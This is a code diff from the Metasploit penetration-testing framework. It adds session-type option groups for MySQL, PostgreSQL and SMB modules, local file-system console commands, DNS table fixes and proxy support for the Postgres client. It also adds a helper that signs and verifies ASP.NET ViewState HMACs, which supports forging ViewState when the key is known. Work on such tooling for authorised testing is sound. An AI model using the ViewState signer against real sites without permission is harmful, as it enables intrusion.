include Msf::OptionalSession
|
||||
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DATABASE USERNAME PASSWORD THREADS]
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'SessionTypes' => %w[mysql]
|
||||
)
|
||||
)
|
||||
|
||||
if optional_session_enabled?
|
||||
register_option_group(name: 'SESSION',
|
||||
description: 'Used when connecting via an existing SESSION',
|
||||
option_names: ['SESSION'])
|
||||
register_option_group(name: 'RHOST',
|
||||
description: 'Used when making a new connection via RHOSTS',
|
||||
option_names: RHOST_GROUP_OPTIONS,
|
||||
required_options: RHOST_GROUP_OPTIONS)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(3306, false)
|
||||
]
|
||||
)
|
||||
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
end
|
||||
|
||||
def optional_session_enabled?
|
||||
framework.features.enabled?(Msf::FeatureManager::MYSQL_SESSION_TYPE)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,45 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module OptionalSession
|
||||
module PostgreSQL
|
||||
include Msf::OptionalSession
|
||||
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DATABASE USERNAME PASSWORD THREADS]
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'SessionTypes' => %w[postgresql]
|
||||
)
|
||||
)
|
||||
|
||||
if optional_session_enabled?
|
||||
register_option_group(name: 'SESSION',
|
||||
description: 'Used when connecting via an existing SESSION',
|
||||
option_names: ['SESSION'])
|
||||
register_option_group(name: 'RHOST',
|
||||
description: 'Used when making a new connection via RHOSTS',
|
||||
option_names: RHOST_GROUP_OPTIONS,
|
||||
required_options: RHOST_GROUP_OPTIONS)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']),
|
||||
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(5432, false)
|
||||
]
|
||||
)
|
||||
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
end
|
||||
|
||||
def optional_session_enabled?
|
||||
framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,43 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
module Msf
|
||||
module OptionalSession
|
||||
module SMB
|
||||
include Msf::OptionalSession
|
||||
|
||||
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT SMBDomain SMBUser SMBPass THREADS]
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'SessionTypes' => %w[smb]
|
||||
)
|
||||
)
|
||||
|
||||
if optional_session_enabled?
|
||||
register_option_group(name: 'SESSION',
|
||||
description: 'Used when connecting via an existing SESSION',
|
||||
option_names: ['SESSION'])
|
||||
register_option_group(name: 'RHOST',
|
||||
description: 'Used when making a new connection via RHOSTS',
|
||||
option_names: RHOST_GROUP_OPTIONS,
|
||||
required_options: RHOST_GROUP_OPTIONS)
|
||||
register_options(
|
||||
[
|
||||
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
|
||||
Msf::Opt::RHOST(nil, false),
|
||||
Msf::Opt::RPORT(445, false)
|
||||
]
|
||||
)
|
||||
|
||||
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
|
||||
end
|
||||
end
|
||||
|
||||
def optional_session_enabled?
|
||||
framework.features.enabled?(Msf::FeatureManager::SMB_SESSION_TYPE)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -30,8 +30,6 @@ module Msf::Post::Common
|
||||
session.sock.peerhost
|
||||
when 'shell', 'powershell'
|
||||
session.session_host
|
||||
when 'postgresql', 'mysql'
|
||||
session.address
|
||||
end
|
||||
rescue
|
||||
return nil
|
||||
@@ -45,8 +43,6 @@ module Msf::Post::Common
|
||||
session.sock.peerport
|
||||
when 'shell', 'powershell'
|
||||
session.session_port
|
||||
when 'postgresql', 'mysql'
|
||||
session.port
|
||||
end
|
||||
rescue
|
||||
return nil
|
||||
|
||||
@@ -350,6 +350,8 @@ class RPC_Module < RPC_Base
|
||||
def rpc_compatible_sessions(mname)
|
||||
if mname.start_with? 'exploit/'
|
||||
m = _find_module('exploit',mname)
|
||||
elsif mname.start_with? 'auxiliary/'
|
||||
m = _find_module('auxiliary', mname)
|
||||
else
|
||||
m = _find_module('post',mname)
|
||||
end
|
||||
|
||||
@@ -227,10 +227,11 @@ module Session
|
||||
#
|
||||
def cleanup
|
||||
if db_record and framework.db.active
|
||||
::ApplicationRecord.connection_pool.with_connection {
|
||||
::ApplicationRecord.connection_pool.with_connection do
|
||||
framework.db.update_session(id: db_record.id, closed_at: Time.now.utc, close_reason: db_record.close_reason)
|
||||
db_record = nil
|
||||
}
|
||||
rescue ActiveRecord::RecordNotFound
|
||||
nil # this will fail if the workspace was deleted before the session was closed, see #18561
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -212,7 +212,7 @@ module Msf
|
||||
if s.platform.blank?
|
||||
issues << "Unknown session platform. This module works with: #{platform.names.join(', ')}."
|
||||
elsif !platform.supports?(Msf::Module::PlatformList.transform(s.platform))
|
||||
issues << "incompatible session platform: #{s.platform}. This module works with: #{platform.names.join(', ')}."
|
||||
issues << "incompatible session platform: #{s.platform}. This module works with: #{platform ? platform.names.join(', ') : platform.inspect}."
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1421,10 +1421,14 @@ class Core
|
||||
color = driver.output.config[:color]
|
||||
|
||||
if args[0] == "off"
|
||||
driver.init_ui(driver.input, Rex::Ui::Text::Output::Stdio.new)
|
||||
stdout = Rex::Ui::Text::Output::Stdio.new
|
||||
driver.init_ui(driver.input, stdout)
|
||||
active_module.init_ui(driver.input, stdout) if defined?(active_module) && active_module
|
||||
msg = "Spooling is now disabled"
|
||||
else
|
||||
driver.init_ui(driver.input, Rex::Ui::Text::Output::Tee.new(args[0]))
|
||||
stdout = Rex::Ui::Text::Output::Tee.new(args[0])
|
||||
driver.init_ui(driver.input, stdout)
|
||||
active_module.init_ui(driver.input, stdout) if defined?(active_module) && active_module
|
||||
msg = "Spooling to file #{args[0]}..."
|
||||
end
|
||||
|
||||
@@ -1602,7 +1606,8 @@ class Core
|
||||
end
|
||||
|
||||
begin
|
||||
if session.type == 'meterpreter'
|
||||
case session.type.downcase
|
||||
when 'meterpreter'
|
||||
# If session.sys is nil, dont even try..
|
||||
unless session.sys
|
||||
print_error("Session #{s} does not have stdapi loaded, skipping...")
|
||||
@@ -1619,12 +1624,14 @@ class Core
|
||||
print_line(data) unless data.blank?
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
print_error("Failed: #{$!.class} #{$!}")
|
||||
rescue Rex::TimeoutError
|
||||
rescue ::Rex::TimeoutError
|
||||
print_error("Operation timed out. Timeout currently #{session.response_timeout} seconds, you can configure this with %grnsessions -c <cmd> --timeout <value>%clr")
|
||||
end
|
||||
elsif session.type == 'shell' || session.type == 'powershell'
|
||||
when 'shell', 'powershell'
|
||||
output = session.shell_command(cmd)
|
||||
print_line(output) if output
|
||||
when 'mssql', 'postgresql', 'mysql'
|
||||
session.run_cmd(cmd, driver.output)
|
||||
end
|
||||
ensure
|
||||
# Restore timeout for each session
|
||||
|
||||
@@ -477,8 +477,8 @@ class Creds
|
||||
else
|
||||
private_val = ''
|
||||
end
|
||||
if truncate && private_val.to_s.length > 87
|
||||
private_val = "#{private_val[0,87]} (TRUNCATED)"
|
||||
if truncate && private_val.to_s.length > 88
|
||||
private_val = "#{private_val[0,76]} (TRUNCATED)"
|
||||
end
|
||||
realm_val = core.realm ? core.realm.value : ''
|
||||
human_val = core.private ? core.private.class.model_name.human : ''
|
||||
|
||||
@@ -48,7 +48,7 @@ class DNS
|
||||
def commands
|
||||
commands = {}
|
||||
|
||||
if framework.features.enabled?(Msf::FeatureManager::DNS_FEATURE)
|
||||
if framework.features.enabled?(Msf::FeatureManager::DNS)
|
||||
commands = {
|
||||
'dns' => "Manage Metasploit's DNS resolving behaviour"
|
||||
}
|
||||
@@ -186,7 +186,10 @@ class DNS
|
||||
# Manage Metasploit's DNS resolution rules
|
||||
#
|
||||
def cmd_dns(*args)
|
||||
return if driver.framework.dns_resolver.nil?
|
||||
if driver.framework.dns_resolver.nil?
|
||||
print_warning("Run the #{Msf::Ui::Tip.highlight("save")} command and restart the console for this feature configuration to take effect.")
|
||||
return
|
||||
end
|
||||
|
||||
args << 'print' if args.length == 0
|
||||
# Short-circuit help
|
||||
@@ -401,6 +404,7 @@ class DNS
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => ['Hostname', 'IP Address', 'Rule #', 'Rule', 'Resolver', 'Comm channel'],
|
||||
'ColProps' => { 'Hostname' => { 'Strip' => false } },
|
||||
'SortIndex' => -1,
|
||||
'WordWrap' => false
|
||||
)
|
||||
@@ -631,6 +635,7 @@ class DNS
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => ['Hostname', 'IPv4 Address', 'IPv6 Address'],
|
||||
'ColProps' => { 'Hostname' => { 'Strip' => false } },
|
||||
'SortIndex' => -1,
|
||||
'WordWrap' => false
|
||||
)
|
||||
@@ -654,11 +659,7 @@ class DNS
|
||||
Rex::Proto::DNS::UpstreamResolver::Type::SYSTEM.to_s.downcase
|
||||
].freeze
|
||||
|
||||
# XXX: By default rex-text tables strip preceding whitespace:
|
||||
# https://github.com/rapid7/rex-text/blob/1a7b63993
|
||||
# ca62fd9102665d6986f918ae42cae244e/lib/rex/text/table.rb#L221-L222
|
||||
# So use https://en.wikipedia.org/wiki/Non-breaking_space as a workaround for now. A change should exist in Rex-Text to support this requirement
|
||||
TABLE_INDENT = "\xc2\xa0\xc2\xa0\\_ ".freeze
|
||||
TABLE_INDENT = " \\_ ".freeze
|
||||
|
||||
#
|
||||
# Get user-friendly text for displaying the session that this entry would go through
|
||||
@@ -685,6 +686,7 @@ class DNS
|
||||
def print_dns_set(heading, result_set, ids: [])
|
||||
return if result_set.length == 0
|
||||
columns = ['#', 'Rule', 'Resolver', 'Comm channel']
|
||||
col_props = { 'Rule' => { 'Strip' => false } }
|
||||
|
||||
tbl = Table.new(
|
||||
Table::Style::Default,
|
||||
@@ -692,6 +694,7 @@ class DNS
|
||||
'Prefix' => "\n",
|
||||
'Postfix' => "\n",
|
||||
'Columns' => columns,
|
||||
'ColProps' => col_props,
|
||||
'SortIndex' => -1,
|
||||
'WordWrap' => false
|
||||
)
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
module CommandDispatcher
|
||||
###
|
||||
#
|
||||
# Generic file system commands
|
||||
#
|
||||
###
|
||||
class LocalFileSystem
|
||||
include Rex::Ui::Text::DispatcherShell::CommandDispatcher
|
||||
include Msf::Ui::Console::LocalFileSystem
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
# @return [Hash]
|
||||
def commands
|
||||
local_fs_commands
|
||||
end
|
||||
|
||||
# @param [String]
|
||||
def name
|
||||
'Local File System'
|
||||
end
|
||||
|
||||
def unknown_command(cmd, line)
|
||||
status = super
|
||||
|
||||
status
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -399,6 +399,7 @@ module Msf
|
||||
'rank' => 'Modules with a matching rank (Can be descriptive (ex: \'good\') or numeric with comparison operators (ex: \'gte400\'))',
|
||||
'ref' => 'Modules with a matching ref',
|
||||
'reference' => 'Modules with a matching reference',
|
||||
'session_type' => 'Modules with a matching session type (SMB, MySQL, Meterpreter, etc)',
|
||||
'stage' => 'Modules with a matching stage reference name',
|
||||
'stager' => 'Modules with a matching stager reference name',
|
||||
'target' => 'Modules affecting this target',
|
||||
@@ -543,10 +544,7 @@ module Msf
|
||||
show_child_items = total_children_rows > 1
|
||||
next unless show_child_items
|
||||
|
||||
# XXX: By default rex-text tables strip preceding whitespace:
|
||||
# https://github.com/rapid7/rex-text/blob/1a7b639ca62fd9102665d6986f918ae42cae244e/lib/rex/text/table.rb#L221-L222
|
||||
# So use https://en.wikipedia.org/wiki/Non-breaking_space as a workaround for now. A change should exist in Rex-Text to support this requirement
|
||||
indent = "\xc2\xa0\xc2\xa0\\_ "
|
||||
indent = " \\_ "
|
||||
# Note: We still use visual indicators for blank values as it's easier to read
|
||||
# We can't always use a generic formatter/styler, as it would be applied to the 'parent' rows too
|
||||
blank_value = '.'
|
||||
@@ -1804,6 +1802,7 @@ module Msf
|
||||
]
|
||||
},
|
||||
'Name' => {
|
||||
'Strip' => false,
|
||||
'Stylers' => [Msf::Ui::Console::TablePrint::HighlightSubstringStyler.new(search_terms)]
|
||||
},
|
||||
'Check' => {
|
||||
|
||||
@@ -70,7 +70,7 @@ class Driver < Msf::Ui::Driver
|
||||
|
||||
begin
|
||||
FeatureManager.instance.load_config
|
||||
rescue StandardException => e
|
||||
rescue StandardError => e
|
||||
elog(e)
|
||||
end
|
||||
|
||||
@@ -82,7 +82,7 @@ class Driver < Msf::Ui::Driver
|
||||
|
||||
framework_create_options = opts.merge({ 'DeferModuleLoads' => true })
|
||||
|
||||
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DNS_FEATURE)
|
||||
if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DNS)
|
||||
dns_resolver = Rex::Proto::DNS::CachedResolver.new
|
||||
dns_resolver.extend(Rex::Proto::DNS::CustomNameserverProvider)
|
||||
dns_resolver.load_config if dns_resolver.has_config?
|
||||
|
||||
@@ -0,0 +1,285 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Ui
|
||||
module Console
|
||||
###
|
||||
#
|
||||
# This module provides commands for the local file system
|
||||
#
|
||||
###
|
||||
module LocalFileSystem
|
||||
#
|
||||
# Options for the lls command
|
||||
#
|
||||
@@lls_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help banner' ],
|
||||
'-S' => [ true, 'Search string on filename (as regular expression)' ],
|
||||
'-t' => [ false, 'Sort by time' ],
|
||||
'-s' => [ false, 'Sort by size' ],
|
||||
'-r' => [ false, 'Reverse sort order' ]
|
||||
)
|
||||
|
||||
#
|
||||
# List of supported local commands.
|
||||
#
|
||||
# @return [Hash] Hash of local commands
|
||||
def local_fs_commands
|
||||
{
|
||||
'getlwd' => 'Print local working directory (alias for lpwd)',
|
||||
'lcat' => 'Read the contents of a local file to the screen',
|
||||
'lcd' => 'Change local working directory',
|
||||
'lmkdir' => 'Create new directory on local machine',
|
||||
'lpwd' => 'Print local working directory',
|
||||
'lls' => 'List local files',
|
||||
'ldir' => 'List local files (alias for lls)'
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# List local files
|
||||
#
|
||||
# @param [Array] args
|
||||
# @return [Rex::Text::Table] The results lls command
|
||||
def cmd_lls(*args)
|
||||
# Set Defaults
|
||||
path = ::Dir.pwd
|
||||
sort = 'Name'
|
||||
order = :forward
|
||||
search_term = nil
|
||||
|
||||
# Parse the args
|
||||
@@lls_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
# Sort options
|
||||
when '-s'
|
||||
sort = 'Size'
|
||||
when '-t'
|
||||
sort = 'Last modified'
|
||||
# Output options
|
||||
when '-r'
|
||||
order = :reverse
|
||||
# Search
|
||||
when '-S'
|
||||
search_term = val
|
||||
if search_term.nil?
|
||||
print_error('Enter a search term')
|
||||
return true
|
||||
else
|
||||
search_term = /#{search_term}/nmi
|
||||
end
|
||||
# Help and path
|
||||
when '-h'
|
||||
cmd_lls_help
|
||||
return 0
|
||||
when nil
|
||||
path = val
|
||||
end
|
||||
end
|
||||
|
||||
list_local_path(path, sort, order, search_term)
|
||||
end
|
||||
|
||||
#
|
||||
# Help output for lss command
|
||||
#
|
||||
# @return [Rex::Parser::Arguments]
|
||||
def cmd_lls_help
|
||||
print_line 'Usage: lls [options]'
|
||||
print_line
|
||||
print_line 'Lists contents of a local directory or file info'
|
||||
print_line @@lls_opts.usage
|
||||
end
|
||||
|
||||
#
|
||||
# Alias the lls command to dir, for those of us who have windows muscle-memory
|
||||
#
|
||||
alias cmd_ldir cmd_lls
|
||||
|
||||
#
|
||||
# Change the local working directory.
|
||||
#
|
||||
# @param [Array] args
|
||||
# @return [TrueClass]
|
||||
def cmd_lcd(*args)
|
||||
if args.empty?
|
||||
print_line('Usage: lcd directory')
|
||||
return true
|
||||
end
|
||||
|
||||
::Dir.chdir(args[0])
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lcd command
|
||||
#
|
||||
# @param [String] str
|
||||
# @param [Array] words
|
||||
def cmd_lcd_tabs(str, words)
|
||||
tab_complete_directory(str, words)
|
||||
end
|
||||
|
||||
alias cmd_lls_tabs cmd_lcd_tabs
|
||||
|
||||
#
|
||||
# Get list local path information for lls command
|
||||
#
|
||||
# @param [String] path
|
||||
# @param [String] sort
|
||||
# @param [Symbol] order
|
||||
# @param [nil] search_term
|
||||
# @return [Rex::Text::Table, String] The results lcd command
|
||||
def list_local_path(path, sort, order, search_term = nil)
|
||||
# Single file as path
|
||||
unless ::File.directory?(path)
|
||||
perms = pretty_perms(path)
|
||||
stat = ::File.stat(path)
|
||||
print_line("#{perms} #{stat.size} #{stat.ftype[0, 3]} #{stat.mtime} #{path}")
|
||||
return
|
||||
end
|
||||
|
||||
# Enumerate each item...
|
||||
# No need to sort as Table will do it for us
|
||||
columns = [ 'Mode', 'Size', 'Type', 'Last modified', 'Name' ]
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Header' => "Listing Local: #{path}",
|
||||
'SortIndex' => columns.index(sort),
|
||||
'SortOrder' => order,
|
||||
'Columns' => columns
|
||||
)
|
||||
|
||||
items = 0
|
||||
files = ::Dir.entries(path)
|
||||
|
||||
files.each do |file|
|
||||
file_path = ::File.join(path, file)
|
||||
|
||||
perms = pretty_perms(file_path)
|
||||
stat = ::File.stat(file_path)
|
||||
|
||||
row = [
|
||||
perms || '',
|
||||
stat.size ? stat.size.to_s : '',
|
||||
stat.ftype ? stat.ftype[0, 3] : '',
|
||||
stat.mtime || '',
|
||||
file
|
||||
]
|
||||
if file != '.' && file != '..' && (row.join(' ') =~ /#{search_term}/)
|
||||
tbl << row
|
||||
items += 1
|
||||
end
|
||||
end
|
||||
if items > 0
|
||||
print_line(tbl.to_s)
|
||||
else
|
||||
print_line("No entries exist in #{path}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Reads the contents of a local file and prints them to the screen.
|
||||
#
|
||||
# @param [Array] args
|
||||
# @return [TrueClass]
|
||||
def cmd_lcat(*args)
|
||||
if args.empty? || args.include?('-h') || args.include?('--help')
|
||||
print_line('Usage: lcat file')
|
||||
return true
|
||||
end
|
||||
|
||||
path = args[0]
|
||||
path = ::File.expand_path(path) if path =~ path_expand_regex
|
||||
|
||||
if ::File.stat(path).directory?
|
||||
print_error("#{path} is a directory")
|
||||
else
|
||||
fd = ::File.new(path, 'rb')
|
||||
begin
|
||||
print(fd.read) until fd.eof?
|
||||
# EOFError is raised if file is empty, do nothing, just catch
|
||||
rescue EOFError
|
||||
end
|
||||
fd.close
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Tab completion for the lcat command
|
||||
#
|
||||
# @param [Object] str
|
||||
# @param [Object] words
|
||||
# @return [Array] List of matches
|
||||
def cmd_lcat_tabs(str, words)
|
||||
tab_complete_filenames(str, words)
|
||||
end
|
||||
|
||||
#
|
||||
# Create new directory on local machine
|
||||
#
|
||||
# @param [Array] args
|
||||
# @return [Array]
|
||||
def cmd_lmkdir(*args)
|
||||
if args.empty?
|
||||
print_line('Usage: lmkdir </path/to/directory>')
|
||||
return
|
||||
end
|
||||
|
||||
args.each do |path|
|
||||
::FileUtils.mkdir_p(path)
|
||||
print_line("Directory '#{path}' created successfully.")
|
||||
rescue ::StandardError => e
|
||||
print_error("Error creating #{path} directory: #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Display the local working directory.
|
||||
#
|
||||
# @param [Array] args
|
||||
# @return [TrueClass]
|
||||
def cmd_lpwd(*args)
|
||||
print_line(::Dir.pwd)
|
||||
true
|
||||
end
|
||||
|
||||
alias cmd_getlwd cmd_lpwd
|
||||
|
||||
#
|
||||
# Code from prettymode in lib/rex/post/file_stat.rb
|
||||
# adapted for local file usage
|
||||
#
|
||||
# @param [Object] path
|
||||
# @return [String]
|
||||
def pretty_perms(path)
|
||||
m = ::File.stat(path).mode
|
||||
om = '%04o' % m
|
||||
perms = ''
|
||||
|
||||
3.times do
|
||||
perms = ((m & 0o1) == 0o1 ? 'x' : '-') + perms
|
||||
perms = ((m & 0o2) == 0o2 ? 'w' : '-') + perms
|
||||
perms = ((m & 0o4) == 0o4 ? 'r' : '-') + perms
|
||||
m >>= 3
|
||||
end
|
||||
|
||||
"#{om}/#{perms}"
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @return [Regexp]
|
||||
def path_expand_regex
|
||||
if shell.session.platform == 'windows'
|
||||
/%(\w*)%/
|
||||
else
|
||||
/\$(([A-Za-z0-9_]+)|\{([A-Za-z0-9_]+)\})|^~/
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -13,7 +13,11 @@ module Msf
|
||||
raise ArgumentError, "invalid error type #{error.class}, expected ::Msf::OptionValidateError" unless error.is_a?(::Msf::OptionValidateError)
|
||||
|
||||
if error.reasons.empty?
|
||||
mod.print_error("#{error.class} The following options failed to validate: #{error.options.join(', ')}")
|
||||
if error.message
|
||||
mod.print_error("#{error.class} #{error.message}")
|
||||
else
|
||||
mod.print_error("#{error.class} The following options failed to validate: #{error.options.join(', ')}")
|
||||
end
|
||||
else
|
||||
mod.print_error("#{error.class} The following options failed to validate:")
|
||||
error.options.sort.each do |option_name|
|
||||
|
||||
+5
-5
@@ -35,17 +35,17 @@ class MsfAutoload
|
||||
'PowerShell'
|
||||
elsif basename == 'ui' && abspath.end_with?("#{__dir__}/msf/core/module/ui", "#{__dir__}/msf/core/module/ui.rb", "#{__dir__}/rex/post/ui", "#{__dir__}/rex/post/ui.rb", "#{__dir__}/rex/post/meterpreter/extensions/stdapi/ui.rb")
|
||||
'UI'
|
||||
elsif basename == 'mysql' && abspath.end_with?("#{__dir__}/msf/core/exploit/remote/mysql.rb")
|
||||
'MYSQL'
|
||||
elsif basename == 'ssh' && abspath.end_with?("#{__dir__}/rex/proto/ssh")
|
||||
'Ssh'
|
||||
elsif basename == 'http' && abspath.end_with?("#{__dir__}/rex/proto/http")
|
||||
'Http'
|
||||
elsif basename == 'rftransceiver' && abspath.end_with?("#{__dir__}/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb")
|
||||
'RFtransceiver'
|
||||
elsif basename == 'mysql' && abspath.end_with?("#{__dir__}/msf/base/sessions/mysql.rb")
|
||||
'MySQL'
|
||||
else
|
||||
super
|
||||
end
|
||||
super
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -145,7 +145,7 @@ class MsfAutoload
|
||||
'dcerpc_lsa' => 'DCERPC_LSA',
|
||||
'wdbrpc_client' => 'WDBRPC_Client',
|
||||
'sunrpc' => 'SunRPC',
|
||||
'mysql' => 'MYSQL',
|
||||
'mysql' => 'MySQL',
|
||||
'ldap' => 'LDAP',
|
||||
'sqli' => 'SQLi',
|
||||
'dhcp_server' => 'DHCPServer',
|
||||
|
||||
@@ -56,12 +56,12 @@ class Connection
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(database, user, password=nil, uri = nil)
|
||||
def initialize(database, user, password=nil, uri = nil, proxies = nil)
|
||||
uri ||= DEFAULT_URI
|
||||
|
||||
@transaction_status = nil
|
||||
@params = { 'username' => user, 'database' => database }
|
||||
establish_connection(uri)
|
||||
establish_connection(uri, proxies)
|
||||
|
||||
# Check if the password supplied is a Postgres-style md5 hash
|
||||
md5_hash_match = password.match(/^md5([a-f0-9]{32})$/)
|
||||
@@ -121,14 +121,22 @@ class Connection
|
||||
end
|
||||
end
|
||||
|
||||
def address
|
||||
def peerhost
|
||||
@conn.peerhost
|
||||
end
|
||||
|
||||
def port
|
||||
def peerport
|
||||
@conn.peerport
|
||||
end
|
||||
|
||||
def current_database
|
||||
@params['database']
|
||||
end
|
||||
|
||||
def peerinfo
|
||||
"#{peerhost}:#{peerport}"
|
||||
end
|
||||
|
||||
def close
|
||||
raise "connection already closed" if @conn.nil?
|
||||
@conn.shutdown
|
||||
@@ -243,14 +251,15 @@ class Connection
|
||||
|
||||
# tcp://localhost:5432
|
||||
# unix:/tmp/.s.PGSQL.5432
|
||||
def establish_connection(uri)
|
||||
def establish_connection(uri, proxies)
|
||||
u = URI.parse(uri)
|
||||
case u.scheme
|
||||
when 'tcp'
|
||||
@conn = Rex::Socket.create(
|
||||
'PeerHost' => (u.host || DEFAULT_HOST).gsub(/[\[\]]/, ''), # Strip any brackets off (IPv6)
|
||||
'PeerPort' => (u.port || DEFAULT_PORT),
|
||||
'proto' => 'tcp'
|
||||
'proto' => 'tcp',
|
||||
'Proxies' => proxies
|
||||
)
|
||||
when 'unix'
|
||||
@conn = UNIXSocket.new(u.path)
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Exploit
|
||||
class ViewState
|
||||
class Error < Rex::RuntimeError
|
||||
end
|
||||
|
||||
def self.decode_viewstate(encoded_viewstate, algo: 'sha1')
|
||||
viewstate = Rex::Text.decode_base64(encoded_viewstate)
|
||||
|
||||
unless Rex::Text.encode_base64(viewstate) == encoded_viewstate
|
||||
raise Error.new('Could not decode ViewState')
|
||||
end
|
||||
|
||||
hmac_len = OpenSSL::Digest.new(algo).digest_length
|
||||
|
||||
if (data = viewstate[0...-hmac_len]).empty?
|
||||
data = nil
|
||||
end
|
||||
|
||||
hmac = viewstate[-hmac_len..-1]
|
||||
unless hmac&.length == hmac_len
|
||||
raise Error.new('Could not decode ViewState')
|
||||
end
|
||||
|
||||
{ data: data, hmac: hmac }
|
||||
end
|
||||
|
||||
def self.generate_viewstate(data, extra: '', algo: 'sha1', key: '')
|
||||
# Generate ViewState HMAC from known values and validation key
|
||||
hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key)
|
||||
|
||||
# Append HMAC to provided data and Base64-encode the whole shebang
|
||||
Rex::Text.encode_base64(data + hmac)
|
||||
end
|
||||
|
||||
def self.generate_viewstate_hmac(data, algo: 'sha1', key: '')
|
||||
OpenSSL::HMAC.digest(algo, key, data)
|
||||
end
|
||||
|
||||
def self.is_viewstate_valid?(encoded_viewstate, extra: '', algo: 'sha1', key: '')
|
||||
viewstate = decode_viewstate(encoded_viewstate)
|
||||
|
||||
unless viewstate[:data]
|
||||
raise Error.new('Could not retrieve ViewState data')
|
||||
end
|
||||
|
||||
unless (their_hmac = viewstate[:hmac])
|
||||
raise Error.new('Could not retrieve ViewState HMAC')
|
||||
end
|
||||
|
||||
our_hmac = generate_viewstate_hmac(
|
||||
viewstate[:data] + extra,
|
||||
algo: algo,
|
||||
key: key
|
||||
)
|
||||
|
||||
# Do we have what it takes?
|
||||
our_hmac == their_hmac
|
||||
end
|
||||
|
||||
class << self
|
||||
alias_method :can_sign_viewstate?, :is_viewstate_valid?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -3,6 +3,7 @@ require 'tempfile'
|
||||
require 'filesize'
|
||||
require 'rex/post/meterpreter'
|
||||
require 'rex/post/meterpreter/extensions/stdapi/command_ids'
|
||||
require 'msf/ui/console/local_file_system'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -20,6 +21,7 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
|
||||
include Console::CommandDispatcher
|
||||
include Rex::Post::Meterpreter::Extensions::Stdapi
|
||||
include Msf::Ui::Console::LocalFileSystem
|
||||
|
||||
CHECKSUM_ALGORITHMS = %w{ md5 sha1 }
|
||||
private_constant :CHECKSUM_ALGORITHMS
|
||||
@@ -64,16 +66,6 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
"-l" => [ false, "List in long format (default)" ],
|
||||
"-R" => [ false, "Recursively list subdirectories encountered" ])
|
||||
|
||||
#
|
||||
# Options for the lls command
|
||||
#
|
||||
@@lls_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-S" => [ true, "Search string on filename (as regular expression)" ],
|
||||
"-t" => [ false, "Sort by time" ],
|
||||
"-s" => [ false, "Sort by size" ],
|
||||
"-r" => [ false, "Reverse sort order" ])
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
@@ -86,14 +78,8 @@ class Console::CommandDispatcher::Stdapi::Fs
|
||||
'dir' => 'List files (alias for ls)',
|
||||
'download' => 'Download a file or directory',
|
||||
'edit' => 'Edit a file',
|
||||
